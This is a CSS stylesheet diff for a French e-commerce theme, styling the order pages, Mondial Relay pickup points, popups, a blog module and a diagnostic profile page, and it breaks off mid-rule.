/*background: radial-gradient(#ffffff, #ebebea) repeat scroll 0 0 #ebebea ;*/ + background:radial-gradient(#ffffff, #fbfbfb) repeat scroll 0 0 #fefefe; + border:1px solid #ebebea; + border-radius: 1px; + -webkit-border-radius:1px; + border-radius:1px; +} +#content.order.step3 #order-detail-content h2{ + font-size:30px; + font-weight:bold; + padding:0 0 20px; + border-bottom:2px solid #000000; + margin:0 0 20px; +} +#content.order.step3 #order-detail-content h3{ + font-size:20px; + font-weight:bold; + padding:0 0; + border-bottom:0; + margin:0; + text-transform:uppercase; +} +#content.order.step3 #order-detail-content .cart_total h3{ + padding:0 0 10px; + line-height:30px; +} +#content.order.step3 #order-detail-content .cart_total p{ + padding:0 0 20px; + line-height:30px; +} +#content.order.step3 #order-detail-content a.button_grey{ + background:#f0f0f0; + text-transform:uppercase; + font-size:16px; + padding:0; + width:130px; + height:30px; + line-height:30px; + float:left; + text-align:center; +} +#content.order.step3 #order-detail-content td{ + border-bottom:2Px solid #cccccc; + padding-top:30px; + padding-bottom:30px; +} +#content.order.step3 #order-detail-content tfoot tr.cart_total td{ + border-bottom:2px solid #000000; + padding:50px 0; +} +#content.order.step3 #order-detail-content td#total_price_container span{ + display:block; + font-size:25px; + font-weight:bold; + padding:0 0 10px; + line-height:30px; + text-align:right; +} +#content.order.step3 #order-detail-content td#total_price_container small{ + display:block; + font-size:20px; + font-weight:normal; + line-height:30px; + text-align:right; +} +#content.order.step3 #order-detail-content .cart_description{ + float: left; + width: 370px; +} +#content.order.step3 #order-detail-content .cart_quantity, +#content.order.step3 #order-detail-content .cart_total{ + font-size:25px; + padding-top:20px; +} +#content.order.step3 #order-detail-content .cart_product{ + float:left; +} +#content.order.step3 #order-detail-content .orderAdresses{ + padding:0 0 50px; + border-bottom:2px solid #cccccc; + margin:0 0 50px; +} +#content.order.step3 #order-detail-content .orderAdresses td{ + border:0; + width:180px; + padding:0 50px 0 20px; +} +#content.order.step3 #order-detail-content .orderAdresses td:first-child{ + border-right:1px solid #cccccc; + padding:0 50px 0 0; + width:200px; +} +#content.order.step3 #order-detail-content .orderAdresses td ul, +#content.order.step3 #order-detail-content .orderAdresses td li{ + list-style:none; + padding:0; + line-height:30px; +} +.borderGreen h1, +#order-opc h1, +#order h1, +#address h1, +#addresses h1, +#my-account h1, +#identity h1, +#authentication h1, +#diagnostic h1, +#cms h1, +#espacepharmaciens h1{ + margin:0 0 40px; + padding-bottom:30px; + border-bottom:2px solid #000000; +} +.type-interior #content.order .borderGreen{ + padding:30px 43px 30px 43px; +} + +body .ui-btn-up-c{ + background: linear-gradient(#B9DA1A, #B9DA1A) repeat scroll 0 0 #A9C717; + border: 1px solid #A9C717; +} + +li.nosProduits{ + width: 100px!important; +} +.sf-menu li.selected a{ + color:#BFDA3F!important; +} +body #offrefidelite .borderGreen { + width: 530px; + padding:30px 56px; +} +body #offrefidelite form.std .naissance{ + padding-top:10px; +} +body #offrefidelite form.std .naissance label.ui-select{ + width:146px; + padding:0; +} +body #offrefidelite form.std .textarea label, +body #offrefidelite form.std .text label, +body #offrefidelite form.std .select label{ + width:140px; + padding:0; +} +.ui-mobile .breadcrumb, +.ui-mobile .breadcrumb span.navigation_page{ + color:#BFDA3F; +} + +body #diagnostic form.std .radio label.ui-btn{ + width:auto; + float:left; +} +body form.std .checkbox.auto .ui-btn {width:100%;margin:0;} +body #product #add_to_cart input{ + width:100%; + height:44px; +} + +.orderConfirm{ + padding:50px; + display:block; + border:1px solid #e6e6e6; + background-image:-webkit-gradient(linear,left top,left bottom,from( #fafafa ),to( #f7f7f7 )); + background-image:-webkit-linear-gradient( #fafafa,#f7f7f7 ); + background-image:-moz-linear-gradient( #fafafa,#f7f7f7 ); + background-image:-ms-linear-gradient( #fafafa,#f7f7f7 ); + background-image:-o-linear-gradient( #fafafa,#f7f7f7 ); + background-image:linear-gradient( #fafafa,#f7f7f7 ) +} +.orderConfirm p{ + font-size:18px; +} + + +.mondialRelay{ + width:610px; + float:left; + margin:0 0 0 -75px; +} + +.mondialRelay li, +.mondialRelay ul{ + padding:0; + margin:0; + list-style:none; +} +.PS_MRRelayPointInfo{ + float:left; + padding:0 15px 15px 0; +} +.PS_MRRelayPointInfo.item0{ + float:left; + width:290px; +} +.PS_MRRelayPointInfo.item1{ + float:right; + width:290px; + padding:0; +} +.mondialRelay .PS_MRRelayPointInfo.item0{ + clear:both; +} +.mondialRelay .PS_MRRelayPointInfo p{ + float:none; + width:auto; +} +.mondialRelay .PS_MRRelayPointInfo .PS_MRFloatRelayPointSelected, +.mondialRelay .PS_MRRelayPointInfo .PS_MRFloatRelayPointSelecteIt{ + display:block; + background:none; + padding:0; + margin:0; + min-height:30px; + padding:0 0 20px; +} +.mondialRelay .PS_MRRelayPointInfo p, +.mondialRelay .PS_MRRelayPointInfo p{ + text-align:left; +} +.mondialRelay .PS_MRRelayPointInfo .PS_MRFloatRelayPointSelected input, +.mondialRelay .PS_MRFloatRelayPointSelecteIt input{ + float:left; + margin:12px 6px 10px 0; +} +.mondialRelay .PS_MRRelayPointInfo .PS_MRFloatRelayPointSelected label, +.mondialRelay .PS_MRFloatRelayPointSelecteIt label{ + display:block; + padding:0 0 0 10px; + font-size:14px; + font-weight:bold; + color:#000000; +} +.mondialRelay .PS_MRRelayPointInfo img { + float: left; + height: 40px; + padding: 0 0px; + margin:0 10px 20px 0; +} +body #fancybox-wrap{padding:0!important;left:0!important;width:640px!important;} +body #fancybox-wrap .block{background:#ffffff;border:0;color:#000000;} +body #fancybox-wrap .title_block{font-size:30px;text-align:center;margin:0 0 30px;color:#000000;text-transform:uppercase;} +body #fancybox-wrap .title_block{font-size:30px;text-align:center;margin:0 0 30px;} +body #fancybox-close{ + width:15px; + height:16px; + top:15px; + right:15px; + background:url('../img/fancyboxClose.png') no-repeat 0 0; +} +body #recevoirparmail .block_content{ + padding:0 50px +} +body #recevoirparmail form .text, +body #recevoirparmail form .ui-input-text{ + width: 311px; + min-height:37px; +} +body #recevoirparmail form .ui-input-text input{ + margin:0; +} +body #recevoirparmail form.std .submit input, +body #recevoirparmail form.std .submit .ui-btn-inner, +body #recevoirparmail form.std .submit .ui-btn{ + line-height:37px; + height:37px; +} + +#fancybox-wrap .title_block span.g, +.type-interior .title_block span.g, +#fancybox-wrap .title_block span.g, +.type-interior h3 span.g, +.type-interior h2 span.g, +.type-interior h1 span.g{ + color:#BFDA3F +} +.type-interior h3 sup, +.type-interior h2 sup, +.type-interior h1 sup{ + font-size:16px; + vertical-align:top +} +.type-interior strong sup, +.type-interior .breadcrumb sup{ + font-size:12px; + vertical-align:top +} +#barreMap{ + display:block; + height:40px; + color:#000000; + clear:both; + margin: 0 -52px; + width: 550px; +} +#barreMap div{ + float: left; + width: 360px; +} +#barreMap div.submit{ + float: right; + width: 187px; + margin: 38px 0 38px; +} +#barreMap label{ + float:left; + width:327px; + height:25px; + line-height:25px; + font-weight:bold; + font-size:18px; + text-transform:none; + margin:0 0 10px; +} +#barreMap input.inputTextMini161, +#barreMap input.inputTextMini291{ + border: 0 none; + color: #000000; + font-size: 16px; + margin: 0 10px 0 0; + padding: 0 8px; + background: url("../../img/inputText216.png") no-repeat scroll 0 0 transparent; + height: 40px; + line-height: 40px; + padding: 3px 10px 0; + width: 368px; + width: 200px; +} +#barreMap input.inputTextMini161{ + margin:0; + background: url("../../img/inputText116.png") no-repeat scroll 0 0 transparent; + width: 100px; +} +#barreMap a{ + float:right; + width:187px; + height:35px; + line-height:35px; + color:#ffffff; + background:url('../../img/mrSubmitMobile.png') no-repeat 0 center; + border:0; + margin:0; + padding:0; + font-size:18px; + font-family:Arial,Sans-Serif; + text-align:center; +} +.PS_MRGmapDefaultPosition{ + padding:0; + margin:0; +} +body .type-interior div.PS_MRGmapStyle { + display: block; + height: 300px; + margin: 0 0 0 -95px; + width: 640px; +} +body .type-interior div.PS_MRRelayPointInfo:hover{ + background:none; +} +.comment .colonne1, +.comment .colonne2{ + height:auto!important; +} +#fancybox-content, +#fancybox-content .ui-body-c, +#fancybox-content .ui-overlay-c{ + color:#000000; +} +#diagnostic .formulaire label .ui-btn-text{text-transform:none;} +#full-site-section{display:none;} + + +.mobile .boxPartage{ + float:none; + display:block; + height:120px; + border:1px solid #000000; + text-align:center; + padding:0px 0px 0; + margin:0 0 20px 0; +} +.mobile .boxPartage p{ + font-size:18px; + padding:20px 0 0; + clear:both; +} +.mobile .boxPartage.item3{ + width:auto; + height:100px; + padding:20px 20px 0; + float:none; + display:block; + margin: 0 0 20px 0; +} +.mobile .boxPartage.item1 a{ + font-size:18px; + display:block; + line-height:30px; + padding:64px 20px 0; + height:60px; + text-align:center; + background:url('../img/imprimerDiag.png') no-repeat center 17px; +} +.mobile .boxPartage.item2 a{ + font-size:18px; + display:block; + line-height:30px; + padding:60px 20px 0; + height:30px; + text-align:center; + text-transform:uppercase; + background:url('../img/mailDiag.png') no-repeat center 17px; +} +body .comment_content form .ui-input-text{ + width:100%; + float:none; +} +#sendComment p.text input, +body .comment_content form .ui-input-text input{ + background:none !important; + width:100% !important; + max-width:100%; + padding:0px; +} +body .comment_content form .textarea{ + float:none; + clear: both; + height:100px; + margin-top:20px; +} +body .comment_content form .textarea textarea{ + background:none !important; + padding:0 5px; + width:100%; + box-shadow:1px 1px 3px rgba(0, 0, 0, 0.3) inset; + max-width:100% !important; +} + +/*********** BLOG ************/ + +body#module-psblog-posts +{ + background:url("../../img/bg_blog.jpg") center center repeat-y #000; +} +.psblog_head h2{ + color:#fff; + height:150px; + text-align: center; +} + +div.article.borderGreen, +div#post_list li.borderGreen{ + padding:0px !important; + width:100% !important; + position:relative !important; + z-index:1 !important; + min-height: inherit !important; +} +div.article.borderGreen{ + background:none !important; +} + +.blog_block_right.posts_block ul li{ + border-top:7px solid #b9da1a; +} +/* +div.article.borderGreen .stared, +div#post_list li.borderGreen .stared{ + position:absolute; + height:75px; + text-align: center; + padding-top:24px; + width:113px; + color:#000; + z-index:2; + left:-56px; + top:-56px; + background:url("../../../themes/default/img/bg_star.png") center center no-repeat transparent; +} +*/ + +div.article.borderGreen .stared, +div#post_list li.borderGreen .stared{ + position:absolute; + height:75px; + text-align: center; + padding-top:46px; + width:113px; + color:#000; + z-index:2; + left:-56px; + top:-60px; + background:url("../../img/bg_star.png") center center no-repeat transparent; +} + +div.article.borderGreen span.stared span.top, +#post_list ul li span.stared span.top{ + font-family: 'ProximaNova'; + font-size:30px; + color:#000; + display:block; +} + + + +div.article.borderGreen span.stared span.bottom, +#post_list ul li span.stared span.bottom{ + font-family: 'ProximaNova'; + font-size:12px; + color:#000; + display:block; +} + + +#post_list ul li .detail_large{ + padding:0px 85px 20px 85px; + font-family: 'ProximaNova'; + font-size:15px; + color:#232323; + line-height:1.3em; +} + +.share .details a, +#post_list ul li .details span a{ + display: inline-block; + background: #000; + padding:5px 15px; + font-size:18px; + color:#fff; + text-transform: uppercase; + font-weight: normal; + font-style: normal; + margin:0 10px 10px 0; + font-family: 'ProximaNova'; +} +.posts_block .block_content p.pmore, +div.more{ + padding:0px 85px; + height:42px; + line-height:42px; + background:#000; + color:#b9da1a; + font-family: Times new roman, serif; + font-size:16px; + text-transform: uppercase; +} +.posts_block .block_content p.pmore{ + padding:0px 15px; +} +.posts_block .block_content p.pmore a{ + color:#b9da1a; +} +.triple_stared +{ + display: inline-block; + height:13px; + width:43px; + margin-left:10px; + background:url(../../img/triple_star.png) center center no-repeat #000; +} +body#module-psblog-posts #center_column{width:650px;} +body#module-psblog-posts #right_column{display:block; width:326px; margin-top:0px; } + +#psblog .search-keyword { color: #999; font-style: italic; border-bottom: 1px solid #999; padding: 0 0 5px 5px;} +#module-psblog-posts .breadcrumb{ } +#post_view .rte{ text-align:justify; } +#post_view .rte a{color:#b9da1a;} +#post_view .rte a:hover{color:#333;} +#post_view .rte h4, +#post_view .rte h4 *{ + font-weight: normal; + text-shadow:0px 0px 0px transparent; + font-family: 'ProximaNova'; + font-size: 18px !important; + text-transform: none; + text-align: left; + margin-bottom:10px; +} +#post_view .rte h4 strong{font-weight:bold;} +#post_view .rte p{ + color:#333; +} +#post_view .medias{ float:left; margin-right:5px; padding:0 5px; } +#post_view .media_list ul{ margin:0; padding:0; } +#post_view .media_list ul li{ display:block; margin:0; text-align:right; padding:0; margin-top:5px; text-align:center; } + +#post_view .categories{ margin:20px 0; } +#post_view .categories ul{ margin:0; padding:0; list-style-type:none; } +#post_view .categories ul li{float:left; margin-right:3px; } +#post_view .categories a{ text-decoration:underline; } + +#post_view .related{ margin:20px 0; } +#post_view .related ul{ list-style-type:none; } +#post_view .related a{ text-decoration:underline; } + +#post_view .rte img { display: block; width: 100%; } +#post_view .products h3 { border-top: 1px solid #000; color: #000; font-size: 12px; font-weight: bold; margin: 30px 0 0 0; padding: 10px 0; text-transform: uppercase; } +#post_view .products img{ display: block; } +#post_view .products h5{ padding:0; min-height:22px; text-transform: uppercase; width: 100%;} +#post_view .products h5 > span{ display: block; font-size:10px; font-weight:normal; font-style:italic; color:#666; } +#post_view .products p{ margin:0; padding:0; } +#post_view .products ul{ list-style-type:none; } +#post_view .products ul li{ padding:5px; background: none repeat scroll 0 0 #fff; border: 1px solid #ddd; width: 47%; } +#post_view .products ul li.odd{ float:left; } +#post_view .products ul li.even{ float:right; } +#post_view .products .text_desc{ float: left; margin: 2px 0 0 10px; width: 216px; font-size: 14px;} +#post_view .products a.content_img{ outline: medium none; display:block; float:left; display:block; } +#post_view .addthis_toolbox{ margin:10px 0 10px 0; } + +#postcomments{margin-top:10px;} +#postcomments h3 { background:rgba(255,255,255,0.3); font-style: italic; line-height:1.1em; color: #000; font-size: 36px; font-weight: normal; padding: 10px 85px; text-transform: capitalize; } +#postcomments table { background: #f5f5f5; border-top: 1px solid #d9d9d9; } +#postcomments table td:last-child { background: #fff; } +#postcomments table .comment-title { font-size: 14px; font-weight: bold; line-height: 18px; padding: 0 7px 10px 0; } +#postcomments .std thead th { background:none; } +#postcomments .std tbody td p span { font-weight:bold; } +#postcomments input[type=text]{ width:600px !important; } + +#post_list { color: #000; font-size: 12px; } +#post_list ul{ margin:0; padding:0; list-style-type:none; } +#post_list ul li{ margin:20px 0; padding:0 0 10px 0; list-style-type:none; border-bottom:1px solid #000; cursor: pointer; } +#post_list ul li:first-child{ + margin-top:0px; +} +#post_list ul li.first_item{ margin:0 0 20px 0; } +#post_list ul li.last_item{ border-bottom:none; } +#post_list ul li h3{ margin-top:0; margin-bottom:0; padding-bottom:5px; } + +#category_info span.bold{ font-weight:bold; } +#category_info h4{ font-size:13px; padding-bottom: 5px; } + +.article.borderGreen h3, +#post_list ul li h2 { padding: 0; } +.article.borderGreen h3 span.title, +#post_list ul li h2 a{ color: #000; line-height:1.15em; font-size: 26px; font-weight: normal; text-decoration:none; font-family: Times new roman, serif; font-style: italic; } +#post_list ul li h2 a:hover{ text-decoration:none; } +#post_list ul li p{ font-style: italic; padding-bottom:0; } +.article.borderGreen .img_default, +#post_list ul li .img_default{ margin: 0; position:relative; } +.article.borderGreen .img_default h3, +#post_list ul li .img_default h2{ position:absolute; bottom:0; left:0; right:0; padding:20px 86px; background:rgba(255,255,255,0.6); } +#post_list ul li.noimg .img_default h2{ position:relative; padding:20px 86px; background:rgba(0,0,0,0.1); } + +#post_list ul li .img_default a{ display:block; } +#post_list ul li .detail_left{ float:left; margin: 10px 0 0 0; width: 497px;} +#post_list ul li .excerpt { margin: 15px 0; text-align: justify; } + +#posts_home .block_content{ padding:5px 10px 5px 10px; } +#posts_home ul{ margin:0; padding:0; list-style-type:none; } +#posts_home ul li{ margin:0 0; padding:10px 0 5px 0; list-style-type:none; border-bottom:1px solid #D0D3D8; } +#posts_home ul li h3{ margin-top:0; margin-bottom:0; padding-bottom:5px; font-size:12px; } +#posts_home ul li h3 a{ text-decoration:none; } +#posts_home ul li h3 a:hover{ text-decoration:underline; } +#posts_home ul li span{ color:#999999; font-size:11px; } +#posts_home ul li .excerpt{ margin-top:5px; } +#posts_home ul li .img_default{ float:left; margin-right:5px; } +#posts_home ul li .img_default img{ border: 0; } +#posts_home ul li .detail_left{ float:left; width:400px; } +#posts_home ul li.last_item{ border:none; } + +.bt_left{ float:left; } +.bt_right{float:right; } +.clear{ clear:both; } +#posts_home h4 span{ font-size:10px; float:right; margin-right:5px; text-transform:none; } + +/* block search column */ +.post_search_block{ + border-top:7px solid #b9da1a; + margin-top:20px; + background:#000; + padding:5px 15px; + color:#fff !important; + cursor: pointer; +} +.post_search_block p{ + color:#fff; + padding:0px; + margin-top:5px; + font-size:16px; + text-transform: uppercase; +} +.post_search_block a{ + display: block; + margin:10px 0; + text-transform: uppercase; + font-size: 16px; + font-family: 'Times new roman', serif; + color:#b9da1a !important; +} +.post_search_block a:hover{ + text-decoration: none; +} +/* +.post_search_block .block_content{ padding:20px; background:rgba(255,255,255,0.3); } +.post_search_block input[type=text]{ + padding:0 8px; + line-height:28px; + width:225px; + height:28px; + border:1px solid #d2d2d2; + box-shadow:inset -1px 1px 2px rgba(0,0,0,0.2); + font-size:14px; + font-style: italic; + font-weight: normal; + color:#666; + font-family: 'ProximaNova'; + } + +.post_search_block input[type=submit] +{ + background:url(../../../themes/default/img/search.png) center center no-repeat #b9da1a; + border:1px solid #c4c4c4; + height:30px; + width:30px; + cursor: pointer; + top:-1px; + position:relative; + margin-top:-1px; + text-indent: -9999px; + +} + +.post_search_block p{ padding:0; font-weight:bold; } +*/ +.posts_block li{ } +.posts_block li.last_item{ border: none; } +.posts_block li a{ background: none; font-size: 14px; padding: 0; } +.posts_block li h5{ margin: 10px 0 0 0; } +.posts_block li h5 + span{ color: #777; } +.posts_block .post_img{ width:100%; } + +.posts_block .post_img img{ + min-width:100%; + width:100%; + max-width:100%; +} +.posts_block .content{ + padding:20px; +} +.posts_block .content h5{ + margin:0px; + padding:0px; + font-family:Times new roman, serif; + text-transform: uppercase; + font-size: 14px; + color:#000; + line-height:1.5em; +} +.posts_block .content span.date{ + color:#666; + font-size:14px; + margin-top:5px; + display: block; +} + +.posts_archives_block{ + background:rgba(0,0,0,0.7); +} +.posts_block, +.posts_block_categories{ + background:#fff; +} +.posts_block_categories{ + margin:0px; + border-top:7px solid #b9da1a; +} + +.post_search_block h4, +.posts_archives_block h4, +.posts_block h4, +.posts_block_categories h4{ + background:#b9da1a; + font-weight: normal; + font-size:18px; + padding:0px; + height: 33px; + line-height: 33px; + color:#000; + text-align: center; + text-transform: uppercase; +} +.post_search_block h4 a, +.posts_archives_block h4 a, +.posts_block h4 a{ + color:#000; +} +.posts_block_categories{padding:10px 0;} +.posts_archives_block ul, +.posts_block_categories ul{ list-style: none; } +.posts_block_categories ul li ul{ margin-left:15px; } +.posts_archives_block li, +.posts_block_categories li { border:none !important; position:relative; } +.posts_block_categories li.current a{color:#b9da1a;} +.posts_block_categories li:after{ + content:""; + width:173px; + margin:0px auto; + height:20px; + position:absolute; + bottom:-10px; + left:0; + right:0; + background:url(../../img/bg_bottom_list.png) center center no-repeat transparent; +} +.posts_block_categories li:last-child:after{ + display:none; +} +.posts_archives_block ul li a, +.posts_block_categories ul li a { + color: #333333; + display: block; + padding: 30px 0; + text-align: center; + font-family: Times new roman, serif; + font-size:18px; + text-transform: uppercase; +} + +div.products ul li div.text_desc h5 a:hover, +.share .details a:hover, +#post_list ul li .details span a:hover, +.posts_archives_block ul li a:hover, +.posts_block_categories ul li a:hover{ + text-decoration: none; + color:#b9da1a; +} +.posts_archives_block ul li a{ + color:#fff; + letter-spacing: 2px; +} + +.posts_archives_block li:after{ + content:""; + width:173px; + margin:0px auto; + height:20px; + position:absolute; + bottom:-10px; + left:0; + right:0; + background:url(../../img/bg_bottom_list_white.png) center center no-repeat transparent; +} + +.posts_archives_block li:last-child:after{ + display:none; +} + +/* +.posts_block .block_content p.pmore{ + background:#000; +} +.posts_block .block_content p.pmore a.more +{ + font-weight: bold; + background: url("../../../themes/default/img/homeblockFleche1.png") no-repeat scroll right center #b9da1a; + border:1px solid #a9c717; + color: #000; + display: inline-block; + height:30px; + margin-left:5px; + line-height: 30px; + padding:0 30px 0 14px; + width: auto; +} +*/ + +.blog_block_footer{ float:left; max-width:200px; padding: 15px 10px; } +.blog_block_footer h4{ background: none; font-weight:normal; font-size:14px; padding:0; } +.blog_block_footer ul li a{ background:none; padding:0; border:none; } +.posts_block.blog_block_footer li{ border:none; } + + +.posts_archives_block .block_content{ background:transparent;} +/* .posts_archives_block .block_content ul li li a{ padding: 4px 0px 4px 32px; } */ +.posts_archives_block .block_content a{ + +} +.posts_archives_block .block_content a.posts_month{ + font-weight:normal; +} + +#ProductPosts { clear: both;} +#ProductPosts h3 { border-top: 1px solid #000; color: #000; font-size: 12px; font-weight: bold; margin: 30px 0 0 0; padding: 10px 0; text-transform: uppercase; } + +::-webkit-input-placeholder { /* WebKit browsers */ + color: #666; +} +:-moz-placeholder { /* Mozilla Firefox 4 to 18 */ + color: #666; + opacity: 1; +} +::-moz-placeholder { /* Mozilla Firefox 19+ */ + color: #666; + opacity: 1; +} +:-ms-input-placeholder { /* Internet Explorer 10+ */ + color: #666; +} + +div.article div.content div#post_view{ + padding:20px 86px; + background:#fff; +} +div.article div.content div#post_view div.rte, +div.article div.content div#post_view div.rte *{ + font-family: 'ProximaNova'; + font-size: 14px; + line-height: 1.5em +} +div.share{ + background:rgba(255,255,255,0.4); + border-top:7px solid #b9da1a; + padding:20px 86px; +} +.share p.details{ + width:50%; + float:left; +} +.share div.addthis_toolbox{ + width:50%; + float:left; +} +.share .addthis_toolbox span, +.share .details span{ + display: block; + color:#fff; + font-size:11px; + font-family:'ProximaNova'; + margin-bottom:5px; +} + +div.products{ + margin-top:10px; + background:#fff; + padding:10px 86px; + border-top:7px solid #b9da1a; + border-bottom:7px solid #b9da1a; +} +div.products h3{ + height:85px; + line-height:85px; + color:#000; + text-transform: uppercase; + text-align: center; + font-size: 23px; +} + + +div.products ul li a.content_img{ + display:block; + width:130px; + height:130px; + line-height:130px; + float: left; + text-align: center; +} + +div.products ul li a.content_img img{ + max-width:100%; + max-height:100%; +} + +div.products ul li div.text_desc{ + float:left; + width:348px; +} + +div.products ul li div.text_desc h5{ + font-size:18px; + font-family:'ProximaNova'; + margin-bottom: 10px; +} + +div.products ul li div.text_desc p{ + font-size:14px; + font-family:'ProximaNova'; +} +div.products ul li div.text_desc p a.more{ + background:#B9DA1A; + color:#000; + font-family:Times new roman; + font-size:16px; + text-transform:uppercase; + padding:10px 23px 10px 18px; + border:1px solid #c4c4c4; +} +div.products ul li div.text_desc p a.more:hover{ + text-decoration: none; +} +div.products ul li div.text_desc p a.more span{ + margin-left:10px; +} + +.comment_content +{ + background: #fff; + padding:35px 85px 55px 85px; + border-top:7px solid #b9da1a; +} +.comment_content input[type=text], +.comment_content textarea +{ + background:#fff; + padding:3px 2%; + border:1px solid #c6c6c6; + box-shadow:inset 1px 1px 3px rgba(0,0,0,0.3); + min-width: 95%; + width: 95%; + max-width: 95%; +} +.comment_content textarea{ + padding:11px 2%; +} +#columns{ + padding-bottom:30px; +} +.comment_content .sheets{ + margin-bottom:20px; +} +.comment_content form h4{ + margin:10px 0px; + text-align: left; + font-family: 'ProximaNova'; + text-transform: none; + font-size:18px; + font-weight:normal; + +} + +.comment_content div.intro{ + color:#666666; + margin-bottom:20px; +} +.comment_content div.content{ + font-size:14px; +} + + + + +div.products ul li, +.comment_content .comment{ border:none !important; position:relative; padding:20px 0; } + +div.products ul li{ + padding:20px 0 0 0; +} +div.products ul li:after, +.comment_content .comment:after{ + content:""; + width:100%; + margin:0px auto; + height:20px; + position:absolute; + bottom:-10px; + left:0; + right:0; + background:url(../../img/bg_bottom_list_big.png) center center no-repeat transparent; +} +div.products ul li:last-child:after, +.comment_content .comment:last-child:after{ + display:none; +} +.comment_content .comment p{ + margin:0px !important; + padding:0px !important; +} + +@media (max-width:720px){ + + div#module-psblog-posts{ + background:url("../../img/bg_blog.jpg") center center repeat-y #000; + } + + .article.borderGreen .img_default h3, + #post_list ul li .img_default h2 + { + position:absolute; + bottom:0; + left:0; + right:0; + padding:20px 86px; + margin-bottom:0px; + background:rgba(255,255,255,0.6); + } + + + div.article.borderGreen .stared, + div#post_list li.borderGreen .stared{ + background-size: 90px; + height:75px; + left:-29px; + padding-top:39px; + top:-57px; + } + + + + div.article.borderGreen span.stared span.top, + #post_list ul li span.stared span.top{ + font-size:20px; + } + + div.article.borderGreen span.stared span.bottom, + #post_list ul li span.stared span.bottom{ + font-size:10px; + } +} + +/****************************************************************************/ +/************************** PSBLOG / OH MON GRIMOIRE ************************/ +/****************************************************************************/ + +.psblog_head, +#psblog { + padding : 0 15px; +} +.psblog_title span.psblog_title-inner, +.ui-mobile-viewport .psblog_title span.psblog_title-inner, +.ui-mobile-viewport .psblog_title a:visited, +.ui-mobile-viewport .psblog_title a.psblog_title-inner + { + font-family: 'trajan'; + color: #fff; + font-weight: normal; + text-transform: uppercase; + font-size: 60px; + position: relative; + margin-left: 20px; +} + +.psblog_title .psblog_title-inner:before, .psblog_title .psblog_title-inner:after { + content: ''; + position: absolute; + height: 74px; + width: 13px; + background: url("../../img/bg-title-blog.png") center center; + background-repeat: no-repeat; + +} +.psblog_title .psblog_title-inner:before { + + left: -20px; +} +.psblog_title .psblog_title-inner:after { + position: absolute; + right: -20px; + transform: rotate(180deg); + -webkit-transform: rotate(180deg); + -moz-transform: rotate(180deg); + -ms-transform: rotate(180deg); + -o-transform: rotate(180deg); + +} +/*.psblog_title .psblog_title-inner:after { + top: 0; + left: -20px; +}*/ +div.products ul { + list-style-type: none; + padding-left: 0; +} + div.products ul li:after { + bottom: -15px; + } + div.products ul img { + width: 100%; + } + div.products p { + font-size: 21px; + } + .article div.products ul li a.content_img { + width: 50%; + height: auto; + } + div.products ul li div.text_desc h5 { + font-size: 20px; + text-transform: uppercase; + } + .article div.products ul li div.text_desc p { + font-size: 18px; + } + + + +/****************************************************************************/ +/************************** NEWSLETTER **************************************/ +/****************************************************************************/ +body #fancybox-wrap .fleche_off{ + position: absolute; + right: 0; +} +/****************************************************************************/ +/************************** FORM ************************/ +/****************************************************************************/ +.ui-bar-a a.ui-link { + color: #000000; +} +#sendComment p.submit { + height: 60px; +} +/******** philosophie **********/ + +#page .tiroir h3{ + background:url('../../img/fondh3.png') repeat-x 0 0; + border:1px solid #d9d9d9; + line-height:30px; + height:30px; + padding:0; + margin:0 0 10px; + cursor:pointer; +} +#page .tiroir h3 span{ + cursor:pointer; + display:block; + color:#92af06; + line-height:30px; + height:30px; + font-size:16px; + font-weight:bold; + padding:0 12px 0 32px; + display:block; + font-family:Times New Roman; + background:url('../../../img/moreless.png') no-repeat 8px -76px; +} +#page .tiroir.open h3 span{ + background:url('../../img/moreless.png') no-repeat 9px 13px; +} +#page .tiroir div.texte{ + padding:10px 0; + color:#000000; + font-size:12px; +} +#philosophie .leftCol {display: none;} +#philosophie .centerCol {width:100%;} +#philosophie .tiroir {margin-bottom: 10px;} +#philosophie .tiroir h3 { + border: 0; + background: #b9da1a; + color: #000000; + font-size: 18px; + text-align: center; + text-transform: uppercase +} +#philosophie .tiroir.open h3 span { background: none; } +#philosophie .tiroir h3 span {background: none; color: #000000; font-size: 18px; height: 33px; line-height: 33px; font-weight: normal; } +#philosophie .tiroir div.texte {border: 0; color: #000000;font-size: 12px;padding: 5px 5px 0;} +#philosophie .article {border-top: 7px solid #b9da1a;} +#philosophie .article .image {position: relative;} +#philosophie .article .image img {display: block;height: auto;width: 100%;} +#philosophie .article h4 {text-align: left; background: none repeat scroll 0 0 rgba(255, 255, 255, 0.6);bottom: 0;box-sizing: border-box;-moz-box-sizing: border-box;-ms-box-sizing: border-box;-o-box-sizing: border-box;-webkit-box-sizing: border-box;color: #000;font-family: Times new roman,serif;font-size: 26px;font-style: italic;left: 0;line-height: 26px;padding: 20px 86px;position: absolute;text-transform: none;width: 100%;} +#philosophie .display_date {background: url("../../img/bg_star.png") no-repeat scroll center center transparent;box-sizing: border-box;-moz-box-sizing: border-box;-ms-box-sizing: border-box;-o-box-sizing: border-box;-webkit-box-sizing: border-box;display: block;font-size: 25px;height: 113px;left: -56px;line-height: 25px;padding: 43px 0;position: absolute;text-align: center;top: -57px;width: 113px;} +#philosophie .article .content { box-sizing: border-box;-moz-box-sizing: border-box;-ms-box-sizing: border-box;-o-box-sizing: border-box;-webkit-box-sizing: border-box;padding: 15px 10px;position: relative;width: 100%;} +#philosophie .texte p { font-family: 'ProximaNova'; font-size: 15px; line-height: 20px;} +#philosophie #footer #social_block { margin: 25px auto 38px; } +#page .rightCol .tiroir_quick_acces {} +#page .rightCol .tiroir_quick_acces .quick_acces { +border-top: 7px solid #b9da1a; +cursor:pointer; +position: relative; +} +#philosophie .rightCol .tiroir_quick_acces .quick_acces { margin-bottom: 10px } +#page .rightCol .tiroir_quick_acces .quick_acces img { +display: block; +float: none; +margin: 0; +} + +#ProductPosts { + margin-top: 15px; +} +#ProductPosts li a{ + color: #000; +} + +/**** MODULE ENCART PANIER (OFFRE DU MOMENT) BLOCK CONSTRUCTOR ****/ +div.block-block-constructor.clearfix{ + margin-bottom: 20px; +} + + +/* MODULE ANTADIS DIAGNOSTIC (#module-antadis_diagnostic-display)*/ + +.profil-finish .profil-description, +.profil-finish .profil-product, +.profil-finish .profil-complement{ + text-align: center; +} + .profil-finish .profil-description h2, + .profil-finish .profil-product h2, + .profil-finish .profil-complement h2{ + padding:0; + font-family: Times New Roman; + font-weight: normal; + font-size: 28px; + line-height: 28px; + margin-top: 30px; + } + + .trait-stars{ + width: 270px; + height: 1px; + background:#000; + margin:0 auto; + position: relative; + margin-bottom: 20px; + } + .trait-stars:after{ + content: '' ; + background: url('../../img/diag-black-star.png') no-repeat center ; + 